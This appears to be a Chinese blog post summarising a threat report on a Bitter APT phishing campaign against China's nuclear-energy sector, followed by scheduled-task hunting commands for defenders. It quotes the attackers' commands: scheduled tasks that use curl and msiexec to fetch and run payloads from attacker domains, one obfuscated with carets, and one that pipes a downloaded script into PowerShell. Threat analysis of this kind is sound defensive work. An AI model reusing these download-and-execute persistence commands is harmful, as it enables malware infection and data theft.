发布于 

针对中国核能行业的网络钓鱼活动

亮点:这篇报告中整个攻击流程非常清晰,具体的攻击手法都给出了示例,在钓鱼邮件的细节处理、还有一些防御规避措施都是值得注意的。最后的持久化都落地在计划任务,所以在防守时,重点关注计划任务中可疑的项目,文章后面我给出了具体排查的命令。

一、背景

被认为来自南亚的黑客组织 Bitter APT 最近正以中国核能机构为攻击目标。安全公司 Intezer 报告,在最近的行动中,Bitter APT 伪装成吉尔吉斯斯坦驻北京大使馆向中国核能公司和该领域的学者发送钓鱼邮件,邀请他们参加吉尔吉斯斯坦大使馆等主办的一个核能会议。邮件签名者是真实存在的,是吉尔吉斯斯坦外交部的一名官员。但邮件附件是恶意的,会执行一系列行动释放恶意负荷。

二、攻击技术细节

  1. 恶意微软 Excel 文件,每 15 分钟运行一次计划任务,使用 cURL 下载恶意程序。
1
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 15 /TN \Windows\DWM\DWMCORE /TR "cmd /c start /min curl --output %AppData%\dwmcor.exe -O ""https://qwavemediaservice[.]net/hkcu/qt.php/?dt=%computername%-QT-2&ct=QT""" /f
  1. 恶意微软 Excel 文件,每 20 分钟运行另一个计划任务,执行上一步下载的恶意程序。
1
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 20 /TN \Windows\DWM\DWMCORELIB /TR "%AppData%\dwmcor.exe" /f
  1. CHM 文件,创建一个计划任务。(通过分解字符串以进行模糊处理)
1
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn AdobeUpdater /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart" /ft
  1. CHM 文件,创建的另一个计划任务
1
2
,cmd.exe, /c start /min powershell -e xxxx
schtasks /create /tn WinSecurity /sc minute /mo 15 /tr "powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\pic.jpg https://coauthcn[.]com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\pic.jpg|powershell;timeout 9;del %LOCALAPPDATA%\pic.jpg" /f

三、防守要点

上述所有操作,最终都是创建了计划任务进行持久化,所以通过查看计划任务的执行的命令操作,可以看到可疑的执行命令。具体排查命令如下:

  1. 使用 PowerShell 分析定位可疑的计划任务
    1
    2
    3
    Get-ScheduledTask | Format-Table -AutoSize
    (Get-ScheduledTask -TaskName DWMCORELIB).Actions | Format-List *
    (Get-ScheduledTask).Actions | Format-List Execute
  2. 使用 CMD 分析定位可疑的计划任务
    1
    2
    schtasks.exe /Query /V /FO LIST  (输出格式:TABLE、LIST、CSV。)
    taskschd.msc (图形界面)

四、附加知识点

** %comspec% 是什么?**
打开一个命令行窗口。%comspec% 是一个指向当前命令行外壳的环境变量。通过使用 %comspec%,您不必担心命令行外壳是 cmd.exe 还是 command.exe;%comspec% 会自动选择正确的一个。

** PowerShell Base64 编码 **

1
2
3
4
5
6
7
8
// Base64 编码
$commond ="write-host 'testmsg'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($commond)
$encodeCommand = [Convert]::ToBase64String($bytes)
write-host 'StringToBase64: ' $encodeCommand
// Base64 解码
$DecodeText=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodeCommand))
write-host 'Base64ToString: ' $DecodeText

感兴趣的朋友加我好友,一起学习交流!~

报告原文:https://intezer.com/blog/research/phishing-campaign-targets-nuclear-energy-industry/